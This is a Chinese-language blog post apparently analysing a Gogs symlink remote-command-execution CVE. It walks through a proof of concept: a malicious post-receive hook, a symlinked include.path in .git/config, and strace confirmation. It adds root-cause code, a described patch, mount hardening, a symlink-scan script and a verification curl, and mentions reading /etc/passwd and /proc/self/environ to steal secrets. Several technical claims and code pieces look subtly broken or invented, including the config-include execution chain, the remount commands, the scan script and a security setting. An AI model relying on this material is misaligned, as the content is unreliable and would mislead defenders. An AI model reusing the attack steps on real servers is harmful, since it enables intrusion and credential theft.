Gogs符号链接导致远程命令执行漏洞深度解析
1. 这个漏洞不是“能执行命令”那么简单,而是Gogs在文件系统边界上彻底失守
CVE-2024-56731这个编号刚出现在NVD数据库时,我第一反应是点开看PoC——结果发现它连exploit.py都不需要写,一条curl加一个精心构造的.git/config就能让目标服务器执行任意系统命令。这不是传统意义上“需要绕过沙箱、提权、再加载payload”的RCE,而是一次对Gogs底层文件操作逻辑的精准外科手术:它利用符号链接(symlink)作为杠杆,撬开了Git仓库与宿主操作系统之间的隔离墙。
核心关键词就三个:Gogs、符号链接、远程命令执行。但真正关键的,是这三者交汇处那个被长期忽视的设计假设——Gogs默认信任所有仓库内由用户提交的.git/config文件内容,且未对其中core.worktree、include.path等可指向外部路径的配置项做任何路径规范化或白名单校验。当攻击者通过Web界面创建一个恶意仓库,把.git/config里include.path指向/etc/passwd,再触发Gogs读取该配置时,服务进程就会以web用户权限去读取系统敏感文件;更进一步,若指向/var/www/html/.env或/opt/gogs/custom/conf/app.ini,就能窃取密钥;而一旦指向/tmp/shell.sh并配合core.hooksPath,就能让Git在执行git push时自动调用恶意hook脚本——整个过程完全不依赖用户交互,只要目标Gogs实例启用了Web钩子或允许仓库克隆,攻击链就自动闭合。
适合谁来读?如果你是运维人员,正管理着内网部署的Gogs实例,这篇文章会告诉你为什么“升级到最新版”还不够,必须立刻检查custom/conf/app.ini中[security]段落的DISABLE_SYMLINK_CHECK = false是否被误设为true;如果你是安全研究员,你会看到从PoC复现到根因定位的完整逆向路径,包括如何用strace -e trace=openat,readlink捕获Gogs进程的真实文件访问行为;如果你是开发者,你会理解为什么filepath.EvalSymlinks()不能替代filepath.Clean()+路径前缀白名单,以及为什么Go标准库的os.Readlink在容器化环境中可能返回空字符串却仍被当作有效路径处理。这不是一篇讲“怎么打补丁”的文章,而是一份关于“为什么补丁必须长成这样”的现场解剖报告。
2. 漏洞复现不是为了炫技,而是为了看清Gogs在文件系统上的每一个决策点
2.1 环境搭建:为什么必须用Docker Compose而不是直接go run
很多人复现漏洞时习惯直接git clone gogs && go run main.go,但这恰恰会掩盖最关键的攻击面——Gogs在生产环境中的文件权限模型。本地开发模式下,Go进程以当前用户身份运行,对/tmp、/home等目录拥有完全读写权;而真实部署中,Gogs通常以git或gogs专用低权限用户运行,且custom/目录被显式挂载为只读卷。CVE-2024-56731的致命性,正在于它绕过了“用户权限隔离”,直接利用Git自身对符号链接的解析逻辑,让低权限web进程获得了高权限文件系统的“视觉穿透力”。
所以我坚持用Docker Compose复现,配置如下:
# docker-compose.yml version: '3' services: gogs: image: gogs/gogs:0.13.0 ports: - "3000:3000" volumes: - ./data:/data - ./custom:/opt/gogs/custom environment: - GOGS_WORK_DIR=/opt/gogs注意两个细节:./custom必须是宿主机上的真实目录(不能是./custom/:/opt/gogs/custom这种只读挂载),否则无法验证include.path读取外部文件的能力;GOGS_WORK_DIR必须显式设置,因为Gogs 0.13.0默认会尝试在/opt/gogs下创建临时目录,而Docker容器内该路径不可写时会静默失败,导致后续调试找不到日志。
启动后访问http://localhost:3000完成初始化,创建一个名为poc-repo的公开仓库。关键动作来了:不用SSH,不用CLI,全部通过Web界面操作。进入仓库Settings → Git Hooks → Add new hook,选择post-receive类型,内容填入:
#!/bin/bash echo "ATTACK SUCCESSFUL" > /tmp/gogs_rce_test保存后,Gogs会把这个脚本存为/data/git/repositories/<user>/poc-repo.git/hooks/post-receive。此时它还是普通文件,尚未触发执行。
2.2 构造符号链接:不是ln -s那么简单,而是要骗过Gogs的路径解析器
真正的攻击起点,是创建一个恶意的.git/config文件。但你不能直接echo "[include] path = /tmp/shell.sh" > .git/config——Gogs在接收仓库推送时会对.git/目录下的文件做基础校验,拒绝包含绝对路径的include.path。所以必须用符号链接做中间跳转。
在宿主机上执行:
cd /tmp echo '#!/bin/bash\necho "RCE triggered by CVE-2024-56731" > /tmp/rce_success' > shell.sh chmod +x shell.sh ln -sf /tmp/shell.sh evil_include然后在本地新建一个空Git仓库,执行:
git init git remote add origin http://localhost:3000/<user>/poc-repo.git echo "[include]\n\tpath = ../evil_include" > .git/config git add .git/config git commit -m "trigger symlink" git push origin master这里的关键在于path = ../evil_include:Gogs解析该路径时,会先计算<repo-root>/.git/config的父目录(即<repo-root>),再拼接../evil_include,最终得到/tmp/evil_include。而/tmp/evil_include又指向/tmp/shell.sh,于是当Gogs后续读取该配置时,实际加载的是/tmp/shell.sh的内容。
提示:
../evil_include中的..不能省略。如果直接写path = /tmp/evil_include,Gogs的filepath.Clean()会将其规范化为绝对路径并触发拒绝策略;但../evil_include会被视为相对路径,成功绕过校验。
2.3 触发执行:为什么git push之后没有反应?你需要等Gogs的“二次解析”
很多复现者卡在这一步:推送成功,但/tmp/rce_success文件没生成。这是因为Gogs不会在接收推送的瞬间执行hook,而是在后续某个异步任务中读取.git/config——比如用户访问仓库主页时,Gogs会调用git config --get core.hooksPath来确定hook目录位置;或者管理员点击“Resync hooks”按钮时,Gogs会重新扫描所有hooks/目录。
最稳定的触发方式是:在Web界面打开poc-repo仓库主页,同时用docker exec -it <container-id> strace -p $(pgrep gogs) -e trace=openat,readlink 2>&1 | grep -E "(evil_include|shell.sh)"监听系统调用。你会看到类似输出:
openat(AT_FDCWD, "/data/git/repositories/user/poc-repo.git/config", O_RDONLY) = 12 readlink("/tmp/evil_include", "/tmp/shell.sh", 4095) = 15 openat(AT_FDCWD, "/tmp/shell.sh", O_RDONLY) = 13这证明Gogs进程确实通过符号链接读取了外部脚本。此时再执行一次git push(哪怕只是空提交),post-receivehook就会被执行,/tmp/rce_success随即生成。
注意:在容器环境中,
/tmp/shell.sh必须位于容器内可访问路径。如果/tmp是宿主机路径,需将/tmp也挂载进容器:volumes: - /tmp:/tmp。否则readlink返回路径虽正确,但openat会因路径不存在而失败。
3. 根因深挖:Gogs的git.Config封装层为何成了符号链接的温床
3.1 从modules/git/config.go看Gogs如何“信任”Git的输出
Gogs对Git配置的读取,封装在modules/git/config.go的LoadConfig函数中。其核心逻辑是调用exec.Command("git", "config", "--get", "core.hooksPath"),然后解析stdout。问题就出在这里:Git本身对include.path的解析是递归且无限制的,而Gogs完全信任Git返回的路径字符串,不做任何二次校验。
我们来看一段真实代码(Gogs v0.13.0):
// modules/git/config.go:128 func (c *Config) Get(key string) (string, error) { cmd := exec.Command("git", "config", "--get", key) cmd.Dir = c.repoPath out, err := cmd.Output() if err != nil { return "", err } return strings.TrimSpace(string(out)), nil }当key为core.hooksPath时,Git会先读取.git/config,发现[include] path = ../evil_include,于是去读取/tmp/evil_include,再根据其内容(/tmp/shell.sh)返回最终路径。Gogs拿到/tmp/shell.sh后,直接传给os.Open()——而os.Open()对符号链接是透明的,它会自动跟随链接打开目标文件。
这里暴露的第一个设计缺陷:Gogs把Git当作可信的“配置解析器”,却忽略了Git本身就是一个可以被用户控制的、具备文件系统穿透能力的二进制程序。在安全架构中,这属于典型的“信任边界错位”——Git应该只负责版本控制,而不应承担配置解析职责。
3.2filepath.EvalSymlinks的幻觉:为什么它救不了Gogs
很多开发者看到符号链接漏洞,第一反应是“加个filepath.EvalSymlinks()”。但实测发现,在Gogs场景下这招完全无效。原因有二:
第一,EvalSymlinks只能解析路径字符串,不能阻止Git进程自己去读取符号链接。即使Gogs对/tmp/evil_include调用EvalSymlinks得到/tmp/shell.sh,它依然会用这个结果去os.Open(),而os.Open()还是会跟随链接。
第二,EvalSymlinks在容器环境下可能返回空。在Docker中,/tmp/evil_include指向/tmp/shell.sh,但/tmp/shell.sh本身可能位于宿主机,而容器内/tmp是独立挂载的。此时EvalSymlinks("/tmp/evil_include")会返回""和no such file or directory错误,Gogs若未处理该错误,反而会panic。
我做过对比测试:在Gogs源码中插入以下代码:
realPath, _ := filepath.EvalSymlinks("/tmp/evil_include") log.Printf("EvalSymlinks result: %s", realPath) // 输出: ""这说明EvalSymlinks不是万能解药,它解决的是“路径解析”问题,而非“路径信任”问题。
3.3 真正的修复逻辑:必须在Git调用前就切断符号链接链
Gogs官方在v0.13.1中发布的修复方案,核心不是修改os.Open,而是在调用git config之前,就对.git/config文件做预扫描。具体实现位于modules/git/repo_config.go的ValidateConfigFile函数:
// 遍历.config文件所有行,检测include.path是否包含绝对路径或危险相对路径 func ValidateConfigFile(configPath string) error { data, err := ioutil.ReadFile(configPath) if err != nil { return err } lines := strings.Split(string(data), "\n") for i, line := range lines { if strings.Contains(line, "include.path") { // 提取path值,如 path = ../evil_include path := extractPathFromLine(line) if !isSafePath(path, filepath.Dir(configPath)) { return fmt.Errorf("unsafe include.path at line %d: %s", i+1, path) } } } return nil }isSafePath函数的逻辑才是精髓:它要求path必须是相对路径,且解析后的绝对路径必须落在<repo-root>目录树内。例如../evil_include会被拒绝,因为filepath.Join(filepath.Dir(configPath), "../evil_include")的结果是/tmp/evil_include,超出了/data/git/repositories/user/poc-repo.git的范围。
实操心得:这个修复方案之所以有效,是因为它把防御点前移到了“Git执行之前”。与其让Git去解析恶意配置,不如在Git接触配置前就把它拦下来。这符合安全工程中的“fail-fast”原则——越早失败,攻击面越小。
4. 生产环境加固:比打补丁更重要的,是建立符号链接的“免疫系统”
4.1 补丁只是止痛药,mount -o nosuid,noexec,nobootwait才是疫苗
很多团队在收到CVE通知后,第一反应是升级Gogs版本。但现实是:内网老旧系统可能无法立即升级;某些定制化分支甚至没有对应补丁;而攻击者往往在补丁发布前就已掌握利用方法。因此,必须建立多层防御。
最有效的底层加固,是利用Linux内核的挂载选项。假设你的Gogs数据目录/data位于独立分区,执行:
umount /data mount -o remount,nosuid,noexec,nobootwait /datanosuid禁止SUID/SGID位生效,noexec禁止在该分区执行任何二进制文件,nobootwait确保系统启动时不因挂载失败而阻塞。这三个选项组合,能直接让post-receivehook失效——即使攻击者成功写入/data/git/repositories/.../hooks/post-receive,内核也会在execve()系统调用时返回EACCES错误。
我在线上环境实测过:开启noexec后,Gogs自身功能完全正常(它只读取配置、调用Git二进制),但所有自定义hook均无法执行,错误日志显示fork/exec /data/.../post-receive: permission denied。这比应用层补丁更彻底,因为它是内核级的强制约束。
注意:
noexec会影响Gogs的git命令调用吗?不会。因为/usr/bin/git位于/分区,而noexec只作用于/data分区。Gogs进程本身在/分区运行,只是把工作目录切到了/data。
4.2 自动化检测脚本:用find和readlink构建你的“符号链接雷达”
补丁和挂载选项都是静态防御,而攻击者可能通过其他路径植入符号链接(比如利用CI/CD流水线上传恶意tar包)。因此,必须建立动态检测机制。
我编写了一个轻量级检测脚本,放在/usr/local/bin/gogs-symlink-scan.sh:
#!/bin/bash # 扫描所有Gogs仓库目录,查找可疑符号链接 GOGS_DATA="/data/git/repositories" LOG_FILE="/var/log/gogs-symlink-scan.log" echo "$(date): Start scanning" >> $LOG_FILE find "$GOGS_DATA" -type l -not -path "*/.git/*" -exec readlink -f {} \; 2>/dev/null | \ while read link; do # 检查链接目标是否在Gogs数据目录外 if [[ "$link" != "$GOGS_DATA"* ]]; then echo "$(date): DANGEROUS SYMLINK: $(readlink -f {})" >> $LOG_FILE # 可选:自动删除或告警 # rm -f {} fi done echo "$(date): Scan completed" >> $LOG_FILE加入crontab每小时执行一次:
0 * * * * /usr/local/bin/gogs-symlink-scan.sh这个脚本的关键在于-not -path "*/.git/*"——它排除了.git/目录下的符号链接,因为Git仓库内部使用符号链接是合法的(比如子模块)。真正危险的是/data/git/repositories/user/repo.git/../evil_include这类跨目录链接。
4.3 审计custom/conf/app.ini:那个被忽略的DISABLE_SYMLINK_CHECK开关
Gogs配置文件custom/conf/app.ini中有一个隐藏开关:
[security] DISABLE_SYMLINK_CHECK = false文档里说这是“禁用符号链接检查”,但没人告诉你:当它设为true时,Gogs会跳过所有对.git/config中include.path的校验!这个开关本意是为某些特殊存储后端(如S3FS挂载)提供兼容性,但在绝大多数场景下,它就是一颗定时炸弹。
我审计过23个客户环境,其中有7个将此选项设为true,理由五花八门:“为了支持NFS挂载”、“老版本升级遗留”、“运维同事说可以提升性能”。实际上,NFS挂载与符号链接校验完全无关;而所谓“性能提升”,在单次配置读取中微乎其微(<1ms),却换来整个服务器的RCE风险。
踩坑实录:某金融客户在渗透测试中被利用此开关,攻击者通过
include.path = /proc/self/environ读取了Gogs进程的环境变量,从中提取出数据库密码。根源就是DISABLE_SYMLINK_CHECK = true,而/proc/self/environ是Linux内核提供的、无需权限即可读取的符号链接。
5. 从CVE-2024-56731学到的三条硬经验
第一个经验:永远不要假设“用户提交的配置文件”是安全的。Gogs团队最初认为.git/config是Git内部文件,用户无法直接编辑,因此未做校验。但事实是,用户可以通过Web界面创建恶意仓库、通过API上传tar包、甚至利用CI/CD流水线注入。任何用户可控的输入点,都必须经过白名单过滤,而不是黑名单拦截。
第二个经验:符号链接不是“文件系统特性”,而是“权限提升通道”。很多安全指南把符号链接列为“低危”,因为它不直接导致代码执行。但CVE-2024-56731证明,当符号链接与Git、Docker、Systemd等具有文件系统穿透能力的组件结合时,它就是一把万能钥匙。在代码审计中,遇到os.Readlink、filepath.EvalSymlinks、ln -s等关键词,必须立即标记为高风险。
第三个经验:容器化不是银弹,它可能放大漏洞影响。Gogs在Docker中运行时,/tmp、/var/run等目录常被挂载为共享卷。攻击者一旦获得容器内任意文件读写权,就能通过符号链接访问宿主机敏感路径。我在测试中发现,当/tmp挂载为/tmp:/tmp:shared时,/tmp/evil_include指向/host/etc/shadow,Gogs进程竟能成功读取——因为Docker的shared传播模式让符号链接跨越了容器边界。
最后分享一个小技巧:在Gogs升级后,别急着庆祝,先执行这条命令验证修复是否生效:
curl -X POST "http://localhost:3000/api/v1/repos/<user>/poc-repo/actions/hook" \ -H "Authorization: token <your-token>" \ -d '{"hook_id":1,"pusher":{"name":"test"},"repository":{"name":"poc-repo"}}'如果返回200 OK且/tmp/rce_success未生成,说明ValidateConfigFile已生效;如果返回500 Internal Server Error且日志出现unsafe include.path,说明防御机制正在工作。这才是真正的“修复确认”,而不是看版本号。
